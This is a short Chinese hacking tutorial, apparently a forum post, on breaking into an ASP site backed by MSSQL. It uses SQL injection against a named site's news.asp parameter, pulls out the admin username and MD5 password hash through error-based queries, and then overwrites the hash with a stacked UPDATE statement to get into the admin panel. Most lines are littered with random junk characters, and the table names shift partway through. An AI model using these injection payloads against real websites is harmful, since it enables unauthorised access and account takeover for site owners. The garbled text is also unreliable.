经常拿站的黑阔们一定经常碰到,某个网站有注入,管理员帐号和密码多暴出来了。' O6 U7 Q1 Z, s1 \: H
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办?直接修改管理员密码的MD5值。然后进后台!(当然是有条件的。MSSQL)
7 @! z& t5 L9 r测试如下:
0 Y+ J5 Y- O1 Q$ t( |1 w0 Ahttp://www.tmdsb.com/news.asp?id=121
% _8 s6 ^9 v, [# n" q在地址后输入单引号,显示7 H5 \ u% t' N2 j v
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
5 C/ \$ @) v9 f) O5 D+ f字符串 ’’’ 之前有未闭合的引号8 n# P4 X% s4 n, g/ ~
/news/tmdws.asp,行630 g- z6 u/ r. Y/ G) O
说明没有过滤单引号且数据库是MSSQL.
2 p8 k8 |: v: p# ?, G) ^2 Dand 1=1正常。and 1=2出错。肯定存在注入
8 I' J" y4 C. `+ A; b' w接着输入
0 O& `4 G$ H+ }1 [# D/ Ghttp://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)/ C4 Q; R( l$ b# B& @6 _
得到帐号为:admin3 Z% B2 c( Z! E
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)8 Q; w6 Y) L6 [ X ]: a# V! `/ V
得到密码为:a4716077c2ba075c
* m! W- ]% {$ b: K接下来我们就可以改密码了。但我们先前要知道我们加密的字符:e8dc763194f29433
: ~$ w& C$ H9 s1 L命令如下 :; L1 V$ T+ X! J* D2 J2 a6 a+ r
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–0 ]5 \; `5 c( ?; @+ v$ X$ w
这句的意思就是用e8dc763194f29433替换a4716077c2ba075c,以达到修改密码的目的 |